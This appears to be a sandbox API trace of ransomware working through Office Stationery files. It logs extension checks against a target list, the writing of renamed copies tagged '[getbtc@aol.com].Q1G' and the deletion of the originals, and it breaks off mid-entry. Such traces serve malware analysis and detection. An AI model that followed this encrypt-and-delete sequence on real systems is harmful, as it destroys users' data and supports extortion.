[0043.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.106] lstrlenW (lpString=".dbf") returned 4 [0043.106] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0043.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.106] lstrlenW (lpString=".1cd") returned 4 [0043.106] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0043.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.106] lstrlenW (lpString=".jpg") returned 4 [0043.106] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0043.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.106] lstrlenW (lpString=".doc") returned 4 [0043.106] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0043.106] lstrlenW (lpString=".docx") returned 5 [0043.106] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0043.106] lstrlenW (lpString=".pdf") returned 4 [0043.106] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0043.106] lstrlenW (lpString=".xls") returned 4 [0043.106] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0043.106] lstrlenW (lpString=".xlsx") returned 5 [0043.106] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0043.106] lstrlenW (lpString=".ppt") returned 4 [0043.106] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0043.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.106] lstrlenW (lpString=".zip") returned 4 [0043.107] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0043.107] lstrlenW (lpString=".rar") returned 4 [0043.107] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0043.107] lstrlenW (lpString=".bz2") returned 4 [0043.107] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0043.107] lstrlenW (lpString=".7z") returned 3 [0043.107] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0043.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.107] lstrlenW (lpString=".dbf") returned 4 [0043.107] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0043.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.107] lstrlenW (lpString=".1cd") returned 4 [0043.107] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0043.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0043.107] lstrlenW (lpString=".jpg") returned 4 [0043.107] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0043.107] lstrcmpiW (lpString1=".gif", lpString2=".Q1G") returned -1 [0043.107] lstrlenW (lpString="Connectivity.gif") returned 16 [0043.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.107] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2319) returned 1 [0043.107] CloseHandle (hObject=0x1c8) returned 1 [0043.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0043.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.108] lstrlenW (lpString=".doc") returned 4 [0043.108] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0043.108] lstrlenW (lpString=".docx") returned 5 [0043.108] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0043.108] lstrlenW (lpString=".pdf") returned 4 [0043.108] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0043.108] lstrlenW (lpString=".xls") returned 4 [0043.108] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0043.108] lstrlenW (lpString=".xlsx") returned 5 [0043.108] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0043.108] lstrlenW (lpString=".ppt") returned 4 [0043.108] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0043.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.108] lstrlenW (lpString=".zip") returned 4 [0043.108] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0043.108] lstrlenW (lpString=".rar") returned 4 [0043.108] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0043.108] lstrlenW (lpString=".bz2") returned 4 [0043.108] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0043.108] lstrlenW (lpString=".7z") returned 3 [0043.108] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0043.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.108] lstrlenW (lpString=".dbf") returned 4 [0043.108] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0043.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.108] lstrlenW (lpString=".1cd") returned 4 [0043.108] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0043.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.109] lstrlenW (lpString=".jpg") returned 4 [0043.109] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0043.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.109] lstrlenW (lpString=".doc") returned 4 [0043.109] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0043.109] lstrlenW (lpString=".docx") returned 5 [0043.109] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0043.109] lstrlenW (lpString=".pdf") returned 4 [0043.109] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0043.109] lstrlenW (lpString=".xls") returned 4 [0043.109] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0043.109] lstrlenW (lpString=".xlsx") returned 5 [0043.109] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0043.109] lstrlenW (lpString=".ppt") returned 4 [0043.109] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0043.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.109] lstrlenW (lpString=".zip") returned 4 [0043.109] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0043.109] lstrlenW (lpString=".rar") returned 4 [0043.109] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0043.109] lstrlenW (lpString=".bz2") returned 4 [0043.109] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0043.109] lstrlenW (lpString=".7z") returned 3 [0043.109] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0043.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.109] lstrlenW (lpString=".dbf") returned 4 [0043.109] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0043.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.109] lstrlenW (lpString=".1cd") returned 4 [0043.109] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0043.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0043.109] lstrlenW (lpString=".jpg") returned 4 [0043.109] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0043.110] lstrcmpiW (lpString1=".ini", lpString2=".Q1G") returned -1 [0043.110] lstrlenW (lpString="Desktop.ini") returned 11 [0043.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.110] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=645) returned 1 [0043.110] CloseHandle (hObject=0x1c8) returned 1 [0043.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0043.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.110] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.110] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0043.111] GetLastError () returned 0x0 [0043.111] ReadFile (in: hFile=0x1c8, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x285, lpOverlapped=0x0) returned 1 [0043.112] WriteFile (in: hFile=0x218, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x290, lpOverlapped=0x0) returned 1 [0043.112] ReadFile (in: hFile=0x1c8, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.112] WriteFile (in: hFile=0x218, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.113] SetEndOfFile (hFile=0x218) returned 1 [0043.113] CloseHandle (hObject=0x218) returned 1 [0043.114] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.114] SetEndOfFile (hFile=0x1c8) returned 1 [0043.117] CloseHandle (hObject=0x1c8) returned 1 [0043.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x26) returned 1 [0043.117] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0043.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.117] lstrlenW (lpString=".doc") returned 4 [0043.118] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0043.118] lstrlenW (lpString=".docx") returned 5 [0043.118] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0043.118] lstrlenW (lpString=".pdf") returned 4 [0043.118] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0043.118] lstrlenW (lpString=".xls") returned 4 [0043.118] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0043.118] lstrlenW (lpString=".xlsx") returned 5 [0043.118] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0043.118] lstrlenW (lpString=".ppt") returned 4 [0043.118] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0043.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.118] lstrlenW (lpString=".zip") returned 4 [0043.118] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0043.118] lstrlenW (lpString=".rar") returned 4 [0043.118] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0043.118] lstrlenW (lpString=".bz2") returned 4 [0043.118] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0043.118] lstrlenW (lpString=".7z") returned 3 [0043.118] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0043.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.118] lstrlenW (lpString=".dbf") returned 4 [0043.118] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0043.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.118] lstrlenW (lpString=".1cd") returned 4 [0043.118] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0043.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.118] lstrlenW (lpString=".jpg") returned 4 [0043.118] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0043.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.118] lstrlenW (lpString=".doc") returned 4 [0043.118] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0043.118] lstrlenW (lpString=".docx") returned 5 [0043.118] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0043.118] lstrlenW (lpString=".pdf") returned 4 [0043.119] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0043.119] lstrlenW (lpString=".xls") returned 4 [0043.119] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0043.119] lstrlenW (lpString=".xlsx") returned 5 [0043.119] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0043.119] lstrlenW (lpString=".ppt") returned 4 [0043.119] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0043.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.119] lstrlenW (lpString=".zip") returned 4 [0043.119] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0043.119] lstrlenW (lpString=".rar") returned 4 [0043.119] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0043.119] lstrlenW (lpString=".bz2") returned 4 [0043.119] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0043.119] lstrlenW (lpString=".7z") returned 3 [0043.119] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0043.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.119] lstrlenW (lpString=".dbf") returned 4 [0043.119] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0043.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.119] lstrlenW (lpString=".1cd") returned 4 [0043.119] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0043.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69 [0043.119] lstrlenW (lpString=".jpg") returned 4 [0043.119] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0043.119] lstrcmpiW (lpString1=".emf", lpString2=".Q1G") returned -1 [0043.119] lstrlenW (lpString="Dotted_Lines.emf") returned 16 [0043.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.120] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3792) returned 1 [0043.120] CloseHandle (hObject=0x1c8) returned 1 [0043.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20 [0043.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.120] lstrlenW (lpString=".doc") returned 4 [0043.120] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.120] lstrlenW (lpString=".docx") returned 5 [0043.120] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0043.120] lstrlenW (lpString=".pdf") returned 4 [0043.120] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.120] lstrlenW (lpString=".xls") returned 4 [0043.120] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.120] lstrlenW (lpString=".xlsx") returned 5 [0043.120] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0043.120] lstrlenW (lpString=".ppt") returned 4 [0043.120] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.120] lstrlenW (lpString=".zip") returned 4 [0043.120] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.120] lstrlenW (lpString=".rar") returned 4 [0043.120] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.120] lstrlenW (lpString=".bz2") returned 4 [0043.121] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.121] lstrlenW (lpString=".7z") returned 3 [0043.121] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.121] lstrlenW (lpString=".dbf") returned 4 [0043.121] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.121] lstrlenW (lpString=".1cd") returned 4 [0043.121] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.121] lstrlenW (lpString=".jpg") returned 4 [0043.121] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.121] lstrlenW (lpString=".doc") returned 4 [0043.121] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0043.121] lstrlenW (lpString=".docx") returned 5 [0043.121] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1 [0043.121] lstrlenW (lpString=".pdf") returned 4 [0043.121] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0043.121] lstrlenW (lpString=".xls") returned 4 [0043.121] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0043.121] lstrlenW (lpString=".xlsx") returned 5 [0043.121] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1 [0043.121] lstrlenW (lpString=".ppt") returned 4 [0043.121] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0043.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.121] lstrlenW (lpString=".zip") returned 4 [0043.121] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0043.121] lstrlenW (lpString=".rar") returned 4 [0043.121] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0043.121] lstrlenW (lpString=".bz2") returned 4 [0043.121] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0043.121] lstrlenW (lpString=".7z") returned 3 [0043.121] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0043.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.122] lstrlenW (lpString=".dbf") returned 4 [0043.122] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0043.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.122] lstrlenW (lpString=".1cd") returned 4 [0043.122] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0043.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74 [0043.122] lstrlenW (lpString=".jpg") returned 4 [0043.122] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0043.122] lstrcmpiW (lpString1=".htm", lpString2=".Q1G") returned -1 [0043.122] lstrlenW (lpString="Garden.htm") returned 10 [0043.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0043.122] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=231) returned 1 [0043.122] CloseHandle (hObject=0x1c8) returned 1 [0043.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0043.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0043.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.122] lstrlenW (lpString=".doc") returned 4 [0043.122] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0043.123] lstrlenW (lpString=".docx") returned 5 [0043.123] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0043.123] lstrlenW (lpString=".pdf") returned 4 [0043.123] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0043.123] lstrlenW (lpString=".xls") returned 4 [0043.123] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0043.123] lstrlenW (lpString=".xlsx") returned 5 [0043.123] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0043.123] lstrlenW (lpString=".ppt") returned 4 [0043.123] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0043.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.123] lstrlenW (lpString=".zip") returned 4 [0043.123] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0043.123] lstrlenW (lpString=".rar") returned 4 [0043.123] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0043.123] lstrlenW (lpString=".bz2") returned 4 [0043.123] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0043.123] lstrlenW (lpString=".7z") returned 3 [0043.123] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0043.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.123] lstrlenW (lpString=".dbf") returned 4 [0043.123] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0043.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.123] lstrlenW (lpString=".1cd") returned 4 [0043.123] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0043.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 68 [0043.123] lstrlenW (lpString=".jpg") returned 4 [0043.123] 